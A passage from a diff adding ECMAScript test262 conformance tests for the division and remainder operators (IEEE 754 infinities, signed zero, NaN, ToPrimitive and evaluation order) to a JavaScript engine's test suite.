+ $ERROR('#2: -Infinity / -0 === Infinity. Actual: ' + (-Infinity / -0));
+}
+
+//CHECK#3
+if (Number.POSITIVE_INFINITY / 0 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: Infinity / 0 === Infinity. Actual: ' + (Infinity / 0));
+}
+
+//CHECK#4
+if (Number.POSITIVE_INFINITY / -0 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4: Infinity / -0 === -Infinity. Actual: ' + (Infinity / -0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T4.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T4.js
new file mode 100644
index 000000000..14804ad6f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T4.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T4.js
+ * @description Division of an infinity by an infinity results in NaN
+ */
+
+//CHECK#1
+if (isNaN(Number.NEGATIVE_INFINITY / Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#1: -Infinity / -Infinity === Not-a-Number. Actual: ' + (-Infinity / -Infinity));
+}
+
+//CHECK#2
+if (isNaN(Number.POSITIVE_INFINITY / Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#2: Infinity / Infinity === Not-a-Number. Actual: ' + (Infinity / Infinity));
+}
+
+//CHECK#3
+if (isNaN(Number.NEGATIVE_INFINITY / Number.POSITIVE_INFINITY) !== true) {
+ $ERROR('#3: -Infinity / Infinity === Not-a-Number. Actual: ' + (-Infinity / Infinity));
+}
+
+//CHECK#4
+if (isNaN(Number.POSITIVE_INFINITY / Number.NEGATIVE_INFINITY) !== true) {
+ $ERROR('#4: Infinity / -Infinity === Not-a-Number. Actual: ' + (Infinity / -Infinity));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T5.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T5.js
new file mode 100644
index 000000000..3f84058ca
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T5.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T5.js
+ * @description Division of an infinity by a finite non-zero value results in a signed infinity
+ */
+
+//CHECK#1
+if (Number.NEGATIVE_INFINITY / 1 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1: -Infinity / 1 === -Infinity. Actual: ' + (-Infinity / 1));
+}
+
+//CHECK#2
+if (Number.NEGATIVE_INFINITY / -1 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2: -Infinity / -1 === Infinity. Actual: ' + (-Infinity / -1));
+}
+
+//CHECK#3
+if (Number.POSITIVE_INFINITY / 1 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3: Infinity / 1 === Infinity. Actual: ' + (Infinity / 1));
+}
+
+//CHECK#4
+if (Number.POSITIVE_INFINITY / -1 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4: Infinity / -1 === -Infinity. Actual: ' + (Infinity / -1));
+}
+
+//CHECK#5
+if (Number.POSITIVE_INFINITY / -Number.MAX_VALUE !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#5: Infinity / -Number.MAX_VALUE === -Infinity. Actual: ' + (Infinity / -Number.MAX_VALUE));
+}
+
+//CHECK#6
+if (Number.NEGATIVE_INFINITY / Number.MIN_VALUE !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#6: -Infinity / Number.MIN_VALUE === -Infinity. Actual: ' + (-Infinity / Number.MIN_VALUE));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T6.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T6.js
new file mode 100644
index 000000000..7c013ee31
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T6.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T6.js
+ * @description Division of a finite value by an infinity results in zero of appropriate sign
+ */
+
+//CHECK#1
+if (1 / Number.NEGATIVE_INFINITY !== -0) {
+ $ERROR('#1.1: 1 / -Infinity === 0. Actual: ' + (1 / -Infinity));
+} else {
+ if (1 / (1 / Number.NEGATIVE_INFINITY) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.2: 1 / -Infinity === - 0. Actual: +0');
+ }
+}
+
+//CHECK#2
+if (-1 / Number.NEGATIVE_INFINITY !== +0) {
+ $ERROR('#2.1: -1 / -Infinity === 0. Actual: ' + (-1 / -Infinity));
+} else {
+ if (1 / (-1 / Number.NEGATIVE_INFINITY) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: -1 / -Infinity === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (1 / Number.POSITIVE_INFINITY !== +0) {
+ $ERROR('#3.1: 1 / Infinity === 0. Actual: ' + (1 / Infinity));
+} else {
+ if (1 / (1 / Number.POSITIVE_INFINITY) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#3.2: 1 / Infinity === + 0. Actual: -0');
+ }
+}
+
+//CHECK#4
+if (-1 / Number.POSITIVE_INFINITY !== -0) {
+ $ERROR('#4.1: -1 / Infinity === 0. Actual: ' + (-1 / Infinity));
+} else {
+ if (1 / (-1 / Number.POSITIVE_INFINITY) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4.2: -1 / Infinity === - 0. Actual: +0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T7.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T7.js
new file mode 100644
index 000000000..df2b59970
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T7.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T7.js
+ * @description Division of a zero by a zero results in NaN
+ */
+
+//CHECK#1
+if (isNaN(+0 / +0) !== true) {
+ $ERROR('#1: +0 / +0 === Not-a-Number. Actual: ' + (+0 / +0));
+}
+
+//CHECK#2
+if (isNaN(-0 / +0) !== true) {
+ $ERROR('#2: -0 / +0 === Not-a-Number. Actual: ' + (-0 / +0));
+}
+
+//CHECK#3
+if (isNaN(+0 / -0) !== true) {
+ $ERROR('#3: +0 / -0 === Not-a-Number. Actual: ' + (+0 / -0));
+}
+
+//CHECK#4
+if (isNaN(-0 / -0) !== true) {
+ $ERROR('#4: -0 / -0 === Not-a-Number. Actual: ' + (-0 / -0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T8.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T8.js
new file mode 100644
index 000000000..1984de1f2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T8.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T8.js
+ * @description Division of a zero by any non-zero finite value -0 results in zero of appropriate sign
+ */
+
+//CHECK#1
+if (-0 / 1 !== -0) {
+ $ERROR('#1.1: -0 / 1 === 0. Actual: ' + (-0 / 1));
+} else {
+ if (1 / (-0 / 1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.2: -0 / 1 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#2
+if (-0 / -1 !== +0) {
+ $ERROR('#2.1: -0 / -1 === 0. Actual: ' + (-0 / -1));
+} else {
+ if (1 / (-0 / -1) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: -0 / -1 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (+0 / 1 !== +0) {
+ $ERROR('#3.1: +0 / 1 === 0. Actual: ' + (+0 / 1));
+} else {
+ if (1 / (+0 / -1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3.2: +0 / -1 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#4
+if (+0 / -1 !== -0) {
+ $ERROR('#4.1: +0 / -1 === 0. Actual: ' + (+0 / -1));
+} else {
+ if (1 / (+0 / -1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4.2: +0 / -1 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#5
+if (+0 / -Number.MAX_VALUE !== -0) {
+ $ERROR('#5.1: 0 / -Number.MAX_VALUE === 0. Actual: ' + (0 / -Number.MAX_VALUE));
+} else {
+ if (1 / (+0 / -Number.MAX_VALUE) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#5.2: +0 / -Number.MAX_VALUE === - 0. Actual: +0');
+ }
+}
+
+//CHECK#6
+if (-0 / Number.MIN_VALUE !== -0) {
+ $ERROR('#6.1: -0 / Number.MIN_VALUE === 0. Actual: ' + (-0 / Number.MIN_VALUE));
+} else {
+ if (1 / (-0 / Number.MIN_VALUE) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#6.2: -0 / Number.MIN_VALUE === - 0. Actual: +0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T9.js b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T9.js
new file mode 100644
index 000000000..9539057d7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/S11.5.2_A4_T9.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of division is determined by the specification of IEEE 754 arithmetics
+ *
+ * @path ch11/11.5/11.5.2/S11.5.2_A4_T9.js
+ * @description If the magnitude is too large to represent, the result is then an infinity of appropriate sign
+ */
+
+//CHECK#1
+if (Number.MAX_VALUE / 0.9 !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1: Number.MAX_VALUE / 0.9 === Number.POSITIVE_INFINITY. Actual: ' + (Number.MAX_VALUE / 0.9));
+}
+
+//CHECK#2
+if (Number.MAX_VALUE / -0.9 !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#2: Number.MAX_VALUE / -0.9 === Number.NEGATIVE_INFINITY. Actual: ' + (Number.MAX_VALUE / -0.9));
+}
+
+//CHECK#3
+if (Number.MAX_VALUE / 1 !== Number.MAX_VALUE) {
+ $ERROR('#3: Number.MAX_VALUE / 1 === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE / 1));
+}
+
+//CHECK#4
+if (Number.MAX_VALUE / -1 !== -Number.MAX_VALUE) {
+ $ERROR('#4: Number.MAX_VALUE / -1 === -Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE / -1));
+}
+
+//CHECK#5
+if (Number.MAX_VALUE / (Number.MAX_VALUE / 0.9) === (Number.MAX_VALUE / Number.MAX_VALUE) / 0.9) {
+ $ERROR('#5: Number.MAX_VALUE / (Number.MAX_VALUE / 0.9) !== (Number.MAX_VALUE / Number.MAX_VALUE) / 0.9');
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/browser.js b/js/src/tests/test262/ch11/11.5/11.5.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.5/11.5.2/shell.js b/js/src/tests/test262/ch11/11.5/11.5.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A1.js
new file mode 100644
index 000000000..c372cc545
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between MultiplicativeExpression and "%" or between "%" and UnaryExpression are allowed
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009%\u00091") !== 0) {
+ $ERROR('#1: 1\\u0009%\\u00091 === 0');
+}
+
+//CHECK#2
+if (eval("1\u000B%\u000B1") !== 0) {
+ $ERROR('#2: 1\\u000B%\\u000B1 === 0');
+}
+
+//CHECK#3
+if (eval("1\u000C%\u000C1") !== 0) {
+ $ERROR('#3: 1\\u000C%\\u000C1 === 0');
+}
+
+//CHECK#4
+if (eval("1\u0020%\u00201") !== 0) {
+ $ERROR('#4: 1\\u0020%\\u00201 === 0');
+}
+
+//CHECK#5
+if (eval("1\u00A0%\u00A01") !== 0) {
+ $ERROR('#5: 1\\u00A0%\\u00A01 === 0');
+}
+
+//CHECK#6
+if (eval("1\u000A%\u000A1") !== 0) {
+ $ERROR('#6: 1\\u000A%\\u000A1 === 0');
+}
+
+//CHECK#7
+if (eval("1\u000D%\u000D1") !== 0) {
+ $ERROR('#7: 1\\u000D%\\u000D1 === 0');
+}
+
+//CHECK#8
+if (eval("1\u2028%\u20281") !== 0) {
+ $ERROR('#8: 1\\u2028%\\u20281 === 0');
+}
+
+//CHECK#9
+if (eval("1\u2029%\u20291") !== 0) {
+ $ERROR('#9: 1\\u2029%\\u20291 === 0');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029%\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 0) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029%\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 0');
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T1.js
new file mode 100644
index 000000000..b2a973d37
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y uses GetValue
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 % 2 !== 1) {
+ $ERROR('#1: 1 % 2 === 1. Actual: ' + (1 % 2));
+}
+
+//CHECK#2
+var x = 1;
+if (x % 2 !== 1) {
+ $ERROR('#2: var x = 1; x % 2 === 1. Actual: ' + (x % 2));
+}
+
+//CHECK#3
+var y = 2;
+if (1 % y !== 1) {
+ $ERROR('#3: var y = 2; 1 % y === 1. Actual: ' + (1 % y));
+}
+
+//CHECK#4
+var x = 1;
+var y = 2;
+if (x % y !== 1) {
+ $ERROR('#4: var x = 1; var y = 2; x % y === 1. Actual: ' + (x % y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 2;
+if (objectx.prop % objecty.prop !== 1) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 2; objectx.prop % objecty.prop === 1. Actual: ' + (objectx.prop % objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T2.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T2.js
new file mode 100644
index 000000000..5da5f3cff
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y uses GetValue
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x % 1;
+ $ERROR('#1.1: x % 1 throw ReferenceError. Actual: ' + (x % 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x % 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T3.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T3.js
new file mode 100644
index 000000000..20b64080e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.1_T3.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y uses GetValue
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 % y;
+ $ERROR('#1.1: 1 % y throw ReferenceError. Actual: ' + (1 % y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 % y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.2_T1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.2_T1.js
new file mode 100644
index 000000000..ab488af50
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y uses [[Default Value]]
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 1}} % 2 !== 1) {
+ $ERROR('#1: {valueOf: function() {return 1}} % 2 === 1. Actual: ' + ({valueOf: function() {return 1}} % 2));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 1}, toString: function() {return 0}} % 2 !== 1) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} % 2 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} % 2));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 1}, toString: function() {return {}}} % 2 !== 1) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} % 2 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} % 2));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 1}, toString: function() {throw "error"}} % 2 !== 1) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} % 2 === 1. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} % 2));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 1}, toString: function() {throw "error"}} % 2 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 1}, toString: function() {throw "error"}} % 2 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 % {toString: function() {return 2}} !== 1) {
+ $ERROR('#5: 1 % {toString: function() {return 2}} === 1. Actual: ' + (1 % {toString: function() {return 2}}));
+}
+
+//CHECK#6
+if (1 % {valueOf: function() {return {}}, toString: function() {return 2}} !== 1) {
+ $ERROR('#6: 1 % {valueOf: function() {return {}}, toString: function() {return 2}} === 1. Actual: ' + (1 % {valueOf: function() {return {}}, toString: function() {return 2}}));
+}
+
+//CHECK#7
+try {
+ 1 % {valueOf: function() {throw "error"}, toString: function() {return 2}};
+ $ERROR('#7.1: 1 % {valueOf: function() {throw "error"}, toString: function() {return 2}} throw "error". Actual: ' + (1 % {valueOf: function() {throw "error"}, toString: function() {return 2}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 % {valueOf: function() {throw "error"}, toString: function() {return 2}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 % {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 % {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 % {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 % {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.3_T1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.3_T1.js
new file mode 100644
index 000000000..836a13ff6
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x % y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x % y throw "x". Actual: ' + (x % y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x % y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T1.js
new file mode 100644
index 000000000..7b87a3bf0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) % x !== 0) {
+ $ERROR('#1: var x = 0; (x = 1) % x === 0. Actual: ' + ((x = 1) % x));
+}
+
+//CHECK#2
+var x = 1;
+if (x % (x = 2) !== 1) {
+ $ERROR('#2: var x = 1; x % (x = 2) === 1. Actual: ' + (x % (x = 2)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T2.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T2.js
new file mode 100644
index 000000000..f3c306ca1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() % y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() % y() throw "x". Actual: ' + (x() % y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() % y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T3.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T3.js
new file mode 100644
index 000000000..a597a95d2
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x % (x = 1);
+ $ERROR('#1.1: x % (x = 1) throw ReferenceError. Actual: ' + (x % (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x % (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) % y !== 0) {
+ $ERROR('#2: (y = 1) % y === 0. Actual: ' + ((y = 1) % y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.1.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.1.js
new file mode 100644
index 000000000..816d0efe9
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T1.1.js
+ * @description Type(x) and Type(y) vary between primitive boolean and Boolean object
+ */
+
+//CHECK#1
+if (true % true !== 0) {
+ $ERROR('#1: true % true === 0. Actual: ' + (true % true));
+}
+
+//CHECK#2
+if (new Boolean(true) % true !== 0) {
+ $ERROR('#2: new Boolean(true) % true === 0. Actual: ' + (new Boolean(true) % true));
+}
+
+//CHECK#3
+if (true % new Boolean(true) !== 0) {
+ $ERROR('#3: true % new Boolean(true) === 0. Actual: ' + (true % new Boolean(true)));
+}
+
+//CHECK#4
+if (new Boolean(true) % new Boolean(true) !== 0) {
+ $ERROR('#4: new Boolean(true) % new Boolean(true) === 0. Actual: ' + (new Boolean(true) % new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.2.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.2.js
new file mode 100644
index 000000000..db3ba1d64
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.2.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T1.2.js
+ * @description Type(x) and Type(y) vary between primitive number and Number object
+ */
+
+//CHECK#1
+if (1 % 1 !== 0) {
+ $ERROR('#1: 1 % 1 === 0. Actual: ' + (1 % 1));
+}
+
+//CHECK#2
+if (new Number(1) % 1 !== 0) {
+ $ERROR('#2: new Number(1) % 1 === 0. Actual: ' + (new Number(1) % 1));
+}
+
+//CHECK#3
+if (1 % new Number(1) !== 0) {
+ $ERROR('#3: 1 % new Number(1) === 0. Actual: ' + (1 % new Number(1)));
+}
+
+//CHECK#4
+if (new Number(1) % new Number(1) !== 0) {
+ $ERROR('#4: new Number(1) % new Number(1) === 0. Actual: ' + (new Number(1) % new Number(1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.3.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.3.js
new file mode 100644
index 000000000..3520ef236
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A3_T1.3.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x % y returns ToNumber(x) % ToNumber(y)
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A3_T1.3.js
+ * @description Type(x) and Type(y) vary between primitive string and String object
+ */
+
+//CHECK#1
+if ("1" % "1" !== 0) {
+ $ERROR('#1: "1" % "1" === 0. Actual: ' + ("1" % "1"));
+}
+
+//CHECK#2
+if (new String("1") % "1" !== 0) {
+ $ERROR('#2: new String("1") % "1" === 0. Actual: ' + (new String("1") % "1"));
+}
+
+//CHECK#3
+if ("1" % new String("1") !== 0) {
+ $ERROR('#3: "1" % new String("1") === 0. Actual: ' + ("1" % new String("1")));
+}
+
+//CHECK#4
+if (new String("1") % new String("1") !== 0) {
